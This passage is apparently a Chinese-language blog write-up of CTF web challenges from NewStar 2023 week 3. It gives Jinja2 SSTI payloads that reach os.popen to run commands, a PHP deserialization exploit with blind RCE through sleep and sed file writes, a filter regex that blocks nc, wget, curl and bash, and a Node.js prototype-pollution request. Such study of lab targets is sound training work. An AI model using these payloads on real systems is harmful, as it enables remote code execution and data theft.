'click.utils.PacifyFlushWrapper'>, <class 'click.types.ParamType'>, <class 'click.parser.Option'>, <class 'click.parser.Argument'>, <class 'click.parser.ParsingState'>, <class 'click.parser.OptionParser'>, <class 'click.formatting.HelpFormatter'>, <class 'click.core.Context'>, <class 'click.core.BaseCommand'>, <class 'click.core.Parameter'>, <class 'werkzeug.routing.converters.BaseConverter'>, <class 'difflib.SequenceMatcher'>, <class 'difflib.Differ'>, <class 'difflib.HtmlDiff'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class 'ast.NodeVisitor'>, <class 'werkzeug.routing.rules.RulePart'>, <class 'werkzeug.routing.rules.RuleFactory'>, <class 'werkzeug.routing.rules.RuleTemplate'>, <class 'werkzeug.routing.matcher.State'>, <class 'werkzeug.routing.matcher.StateMachineMatcher'>, <class 'werkzeug.routing.map.Map'>, <class 'werkzeug.routing.map.MapAdapter'>, <class '_csv.Dialect'>, <class '_csv.reader'>, <class '_csv.writer'>, <class 'csv.Dialect'>, <class 'csv.DictReader'>, <class 'csv.DictWriter'>, <class 'csv.Sniffer'>, <class 'configparser.Interpolation'>, <class 'importlib.metadata.FileHash'>, <class 'importlib.metadata.Distribution'>, <class 'importlib.metadata.DistributionFinder.Context'>, <class 'importlib.metadata.FastPath'>, <class 'importlib.metadata.Prepared'>, <class 'concurrent.futures._base._Waiter'>, <class 'concurrent.futures._base._AcquireFutures'>, <class 'concurrent.futures._base.Future'>, <class 'concurrent.futures._base.Executor'>, <class 'asyncio.coroutines.CoroWrapper'>, <class 'asyncio.events.Handle'>, <class 'asyncio.events.AbstractServer'>, <class 'asyncio.events.AbstractEventLoop'>, <class 'asyncio.events.AbstractEventLoopPolicy'>, <class '_asyncio.Future'>, <class '_asyncio.FutureIter'>, <class 'TaskStepMethWrapper'>, <class 'TaskWakeupMethWrapper'>, <class '_RunningLoopHolder'>, <class 'asyncio.futures.Future'>, <class 'asyncio.protocols.BaseProtocol'>, <class 'asyncio.transports.BaseTransport'>, <class 'asyncio.sslproto._SSLPipe'>, <class 'asyncio.locks._ContextManager'>, <class 'asyncio.locks._ContextManagerMixin'>, <class 'asyncio.locks.Event'>, <class 'asyncio.trsock.TransportSocket'>, <class 'asyncio.queues.Queue'>, <class 'asyncio.streams.StreamWriter'>, <class 'asyncio.streams.StreamReader'>, <class 'asyncio.subprocess.Process'>, <class 'asyncio.unix_events.AbstractChildWatcher'>, <class 'blinker._saferef.BoundMethodWeakref'>, <class 'blinker._utilities._symbol'>, <class 'blinker._utilities.symbol'>, <class 'blinker._utilities.lazy_property'>, <class 'blinker.base.Signal'>, <class 'flask.cli.ScriptInfo'>, <class 'flask.config.ConfigAttribute'>, <class 'flask.ctx._AppCtxGlobals'>, <class 'flask.ctx.AppContext'>, <class 'flask.ctx.RequestContext'>, <class '_pickle.Unpickler'>, <class '_pickle.Pickler'>, <class '_pickle.Pdata'>, <class '_pickle.PicklerMemoProxy'>, <class '_pickle.UnpicklerMemoProxy'>, <class 'pickle._Framer'>, <class 'pickle._Unframer'>, <class 'pickle._Pickler'>, <class 'pickle._Unpickler'>, <class 'jinja2.bccache.Bucket'>, <class 'jinja2.bccache.BytecodeCache'>, <class 'jinja2.utils.MissingType'>, <class 'jinja2.utils.LRUCache'>, <class 'jinja2.utils.Cycler'>, <class 'jinja2.utils.Joiner'>, <class 'jinja2.utils.Namespace'>, <class 'jinja2.nodes.EvalContext'>, <class 'jinja2.nodes.Node'>, <class 'jinja2.visitor.NodeVisitor'>, <class 'jinja2.idtracking.Symbols'>, <class 'jinja2.compiler.MacroRef'>, <class 'jinja2.compiler.Frame'>, <class 'jinja2.runtime.TemplateReference'>, <class 'jinja2.runtime.Context'>, <class 'jinja2.runtime.BlockReference'>, <class 'jinja2.runtime.LoopContext'>, <class 'jinja2.runtime.Macro'>, <class 'jinja2.runtime.Undefined'>, <class 'jinja2.lexer.Failure'>, <class 'jinja2.lexer.TokenStreamIterator'>, <class 'jinja2.lexer.TokenStream'>, <class 'jinja2.lexer.Lexer'>, <class 'jinja2.parser.Parser'>, <class 'jinja2.environment.Environment'>, <class 'jinja2.environment.Template'>, <class 'jinja2.environment.TemplateModule'>, <class 'jinja2.environment.TemplateExpression'>, <class 'jinja2.environment.TemplateStream'>, <class 'jinja2.loaders.BaseLoader'>, <class 'flask.scaffold.Scaffold'>, <class 'itsdangerous.signer.SigningAlgorithm'>, <class 'itsdangerous.signer.Signer'>, <class 'itsdangerous.serializer.Serializer'>, <class 'itsdangerous._json._CompactJSON'>, <class 'flask.json.tag.JSONTag'>, <class 'flask.json.tag.TaggedJSONSerializer'>, <class 'flask.sessions.SessionInterface'>, <class 'flask.blueprints.BlueprintSetupState'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'werkzeug.debug.repr._Helper'>, <class 'werkzeug.debug.repr.DebugReprGenerator'>, <class 'werkzeug.debug.console.HTMLStringO'>, <class 'werkzeug.debug.console.ThreadedStream'>, <class 'werkzeug.debug.console._ConsoleLoader'>, <class 'werkzeug.debug.console.Console'>, <class 'werkzeug.debug.tbtools.DebugTraceback'>, <class 'werkzeug.debug._ConsoleFrame'>, <class 'werkzeug.debug.DebuggedApplication'>, <class 'werkzeug._reloader.ReloaderLoop'>] "
list = str.split(",")
print(list)
count = 0
tem = 'os._wrap_close'
for i in range(len(list)):
print(list[i])
if tem in list[i]:
print(count)
break
count = count+1

payload:

1
secr3tofpop?name={%print(().__class__.__base__.__subclasses__()[132])%}

image-20231010163213824

payload:

1
2
使用"~"进行字符串拼接:
secr3tofpop?name={%print(().__class__.__base__.__subclasses__()[132]["__in"~"it__"])%}

image-20231010161929907

paylaod:

1
secr3tofpop?name={%print(().__class__.__base__.__subclasses__()[132]["__in"~"it__"].__globals__["pop"~"en"])%}

image-20231010162204147

payload:

1
secr3tofpop?name={%print(().__class__.__base__.__subclasses__()[132]["__in"~"it__"].__globals__["pop"~"en"]("ls /").read())%}

image-20231010162348128

payload:

1
secr3tofpop?name={%print(().__class__.__base__.__subclasses__()[132]["__in"~"it__"].__globals__["pop"~"en"]("tac /flag").read())%}

image-20231010162449022

R!!!C!!!E!!!

代码审计:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
highlight_file(__FILE__);
class minipop{
public $code;
public $qwejaskdjnlka;
//有类的输出会进行执行
public function __toString()
{
//过滤了:$ . ! @ # % ^ & * ? { } > <
//nc tee wget exec bash sh netcat grep base64 rev curl
//wget gcc php python pingtouch mv mkdir cp
if(!preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $this->code)){
//无回显rce
exec($this->code);
}
return "alright";
}
//反序列化自动触发
public function __destruct()
{
//可用于执行__toString()函数
//$this->qwejaskdjnlka = new minipop();
echo $this->qwejaskdjnlka;
}
}
if(isset($_POST['payload'])){
//wanna try?
unserialize($_POST['payload']);
}

rce(无回显)_无回显rce_偶尔躲躲乌云334的博客-CSDN博客

测试命令是否被执行:

构造rce脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class minipop{
public $code;
public $qwejaskdjnlka;
public function __construct(){
$this->code = "ls / | sed '1,20w test1'";
}
}

$obj = new minipop();
// $payload="tac /flag_is_h3eeere | sed '1,20w test'";
// $obj->code = $payload;
$obj->qwejaskdjnlka = new minipop();
$obj = serialize($obj);
echo $obj."\n";
$obj2 = urlencode($obj);
echo $obj2."\n";

payload:

1
2
3
4
$this->code='ls|sleep 5';//会使网页延迟5秒

POST:
payload=O:7:"minipop":2:{s:4:"code";s:10:"ls|sleep 5";s:13:"qwejaskdjnlka";O:7:"minipop":2:{s:4:"code";s:10:"ls|sleep 5";s:13:"qwejaskdjnlka";N;}}

发现网页延迟回显,说明我们上传的payload命令可以被执行

sed管道命令执行:

1
2
tac /flag_is_h3eeere | sed '1,20w test'
将|之前命令执行的结果的1-20行内容写入test文件中,test<=>./test,所以test文件存在于当前网页的文件夹中

payload:

1
2
3
$this->code = "ls / | sed '1,20w test1'";
POST:
payload=O:7:"minipop":2:{s:4:"code";s:24:"ls / | sed '1,20w test1'";s:13:"qwejaskdjnlka";O:7:"minipop":2:{s:4:"code";s:24:"ls / | sed '1,20w test1'";s:13:"qwejaskdjnlka";N;}}

image-20231031192813120

payload:

1
2
3
4
$payload="tac /flag_is_h3eeere | sed '1,20w test'";

POST:
payload=O:7:"minipop":2:{s:4:"code";s:39:"tac /flag_is_h3eeere | sed '1,20w test'";s:13:"qwejaskdjnlka";O:7:"minipop":2:{s:4:"code";s:39:"tac /flag_is_h3eeere | sed '1,20w test'";s:13:"qwejaskdjnlka";N;}}

image-20231013111032145

OtenkiGirl

该题提供了网页的源码,我们可以从网页的源码中进行分析:
image-20231028152657729

源码中存在路由文件夹,先查看网页的具体运行逻辑是什么,即从网页的路由开始分析:

submit.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
const Router = require("koa-router");
const router = new Router();
const SQL = require("./sql");
const sql = new SQL("wishes");
const Base58 = require("base-58");

const ALPHABET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
const rndText = (length) => {
return Array.from({ length }, () => ALPHABET[Math.floor(Math.random() * ALPHABET.length)]).join('');
}

const timeText = (timestamp) => {
timestamp = (typeof timestamp === "number" ? timestamp : Date.now()).toString();
let text1 = timestamp.substring(0, timestamp.length / 2);
let text2 = timestamp.substring(timestamp.length / 2)
let text = "";
for (let i = 0; i < text1.length; i++)
text += text1[i] + text2[text2.length - 1 - i];
if (text2.length > text1.length) text += text2[0];
return Base58.encode(rndText(3) + Buffer.from(text)); // length = 20
}

const rndID = (length, timestamp) => {
const t = timeText(timestamp);
if (length < t.length) return t.substring(0, length);
else return t + rndText(length - t.length);
}

async function insert2db(data) {
let date = String(data["date"]),
place = String(data["place"]),
contact = String(data["contact"]),
reason = String(data["reason"]);
const timestamp = Date.now();
const wishid = rndID(24, timestamp);
//将用户输入的内容插入数据库中
await sql.run(`INSERT INTO wishes (wishid, date, place, contact, reason, timestamp) VALUES (?, ?, ?, ?, ?, ?)`, [wishid, date, place, contact, reason, timestamp]).catch(e => { throw e });
return { wishid, date, place, contact, reason, timestamp }
}

const merge = (dst, src) => {
//在js中如果对象时json类型即const data={},则该data对象的类型就为object,否则就不是,返回dst所代表的值
if (typeof dst !== "object" || typeof src !== "object") return dst;
for (let key in src) { //获取src中的键
if (key in dst && key in src) { //如果键存在于两个对象中则进行合并
//将两个对象所对应的key的value进行合并,返回给dst对象
dst[key] = merge(dst[key], src[key]);
} else {
//如果dst对象中不存在该键值,则添加上该键值
dst[key] = src[key];
}
}
//所以最终该代码添加上dst中没有src中有的键值内容给dst,保持两者都有的内容在dst中不变
return dst;
}

//网页以post请求的方式访问/submit地址时,atx存储了请求和响应的信息
router.post("/submit", async(ctx) => {
//判断,传输类型是否是application/json
if (ctx.header["content-type"] !== "application/json")
//返回一个以json数据为格式的响应内容
return ctx.body = {
status: "error",
msg: "Content-Type must be application/json"
}
//获取请求体中的json主体内容
const jsonText = ctx.request.rawBody || "{}"
try {
//将获取的数据转化为js所可以使用的json数据,可以理解为转化为字典类型的数据
const data = JSON.parse(jsonText);
//判断json数据data中contact健所对应的value的类型以及reason所对应得类型是不是为string(字符串)
if (typeof data["contact"] !== "string" || typeof data["reason"] !== "string")
//如果其中有一个传输类型不是字符串就输出错误的响应包
return ctx.body = {
status: "error",
msg: "Invalid parameter"
}
//判断data中contact和reason所对应的内容的值是否为空
if (data["contact"].length <= 0 || data["reason"].length <= 0)
//如果两者所对应得内容为空,则返回错误得响应内容主体
return ctx.body = {
status: "error",
msg: "Parameters contact and reason cannot be empty"
}

const DEFAULT = {
date: "unknown",
place: "unknown"
}
//调用insert2db函数将内容插入到数据库中
const result = await insert2db(merge(DEFAULT, data));
ctx.body = {
status: "success",
data: result
};
} catch (e) {
console.error(e);
ctx.body = {
status: "error",
msg: "Internal Server Error"
}
}
})

module.exports = router;

info.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
const Router = require("koa-router");
const router = new Router();
const SQL = require("./sql");
const sql = new SQL("wishes");
//引用配置文件,可以使当前代码获取引用文件中的信息
const CONFIG = require("../config")
const DEFAULT_CONFIG = require("../config.default")

async function getInfo(timestamp) {
//如果timestamp类型为number型(数值型),则返回timestamp的值,否则就为当前时间的值
timestamp = typeof timestamp === "number" ? timestamp : Date.now();
// Remove test data from before the movie was released
//获取时间戳信息,如果CONFIG.min_public_time的时间为真则以它作为对象申请时的参数
//否则就以DEFAULT_CONFIG.min_public_time作为时间对象的参数,gettime()获取date类的时间戳
//这里的CONFIG,DEFAULT_CONFIG都属于引用文件,所以获取的是引用的配置文件中的信息
let minTimestamp = new Date(CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time).getTime();
//timestamp获取timestamp和minTimestamp中最大的那一个时间戳的值
timestamp = Math.max(timestamp, minTimestamp);
//获取数据库中时间戳大于timestamp的记录内容
const data = await sql.all(`SELECT wishid, date, place, contact, reason, timestamp FROM wishes WHERE timestamp >= ?`, [timestamp]).catch(e => { throw e });
return data;
}
//使用post请求访问/info网页,:表示访问该网页时获取参数内容,ts为参数部分,?表示该参数可以填写也可以不填写
router.post("/info/:ts?", async(ctx) => {
//判断请求内容得类型是不是application/x-www-form-urlencoded
if (ctx.header["content-type"] !== "application/x-www-form-urlencoded")
return ctx.body = {
status: "error",
msg: "Content-Type must be application/x-www-form-urlencoded"
}
//获取请求内容中的参数集中的参数ts的值的类型
if (typeof ctx.params.ts === "undefined")
ctx.params.ts = 0 //ts参数默认是0
// /^[0-9]+$/.test(ctx.params.ts || ""):先运行test()中的内容,如果ts为空则被赋值为"",同时判断是否由数字组成
//如果由数字组成的字符串则返回Number(ctx.params.ts),将ts转化为数值型的结果
//如果不是由数字组成的字符串,则返回原来ts的内容
const timestamp = /^[0-9]+$/.test(ctx.params.ts || "") ? Number(ctx.params.ts) : ctx.params.ts;
//如果timestamp类型不为数值型
if (typeof timestamp !== "number")
return ctx.body = {
status: "error",
msg: "Invalid parameter ts"
}
try {
const data = await getInfo(timestamp).catch(e => { throw e });
ctx.body = {
status: "success",
//data为从数据库中返回的所有记录数内容
data: data
}
} catch (e) {
console.error(e);
return ctx.body = {
status: "error",
msg: "Internal Server Error"
}
}
})

module.exports = router;

根据info.js的代码审计我们需要查看config.js文件和config.default.js文件中的最小时间信息:

config.js:

1
2
3
4
module.exports = {
app_name: "OtenkiGirl",
default_lang: "ja",
}

config.default.js:

1
2
3
4
5
6
7
8
module.exports = {
app_name: "OtenkiGirl",
default_lang: "ja",
//设置了min_public_time参数的内容
min_public_time: "2019-07-09",
server_port: 9960,
webpack_dev_port: 9970
}

发现只有config.default.js设置了min_public_time参数的内容,所以date类申请时使用了config.default.js中的min_public_time: “2019-07-09”

同时根据分析info.js我们可以知道我们输入的参数ts可以时任意的,用于获取指定时间戳的信息:

payload:

1
/info/1

image-20231028170204727

我们发现返回的内容是时间戳”timestamp”:1698483502171的内容,这是因为我们输入的时间戳ts=1<1698483502171(min_public_time: “2019-07-09”)所以返回的是系统默认时间之上的信息

payload:

1
/info/1698483502172

image-20231028170420211

发现没有data数据返回,这是因为我们输入的时间戳ts已经大于系统默认的时间戳,所以返回我们ts之上的data数据记录

猜测:

1
当前数据库返回的内容是在系统配置的默认时间之上的信息,即由于代码的时间过滤,最多回显配置时间之上的信息,我们无法查看配置时间之下的数据库中的信息,也许flag就在配置时间之下的记录中,所以我们需要更改默认配置的时间,使其变得很小,这样我们就可以查看数据库中更多的信息

js原型链污染:

payload:

1
2
3
4
5
6
7
8
9
POST /submit HTTP/1.1Content-Type: application/json

{
"contact": "test",
"reason": "test",
"__proto__": {
"min_public_time": "1001-01-01"
}
}

image-20231028171513867

获取我们修改默认配置时间后数据库中的信息(0是最小的时间戳,所以一定能返回”min_public_time”: “1001-01-01”之上时间的信息):
payload:

1
2
3
/info/0

Content-Type: application/x-www-form-urlencoded

image-20231028171757647

返回了数据库中更多的信息,在这些额外的信息中查找flag:
image-20231028171854336


Newstar新生赛2023第三周WP
http://example.com/2023/11/03/2023-11-3-newstarweek3/
作者
South
发布于
2023年11月3日
许可协议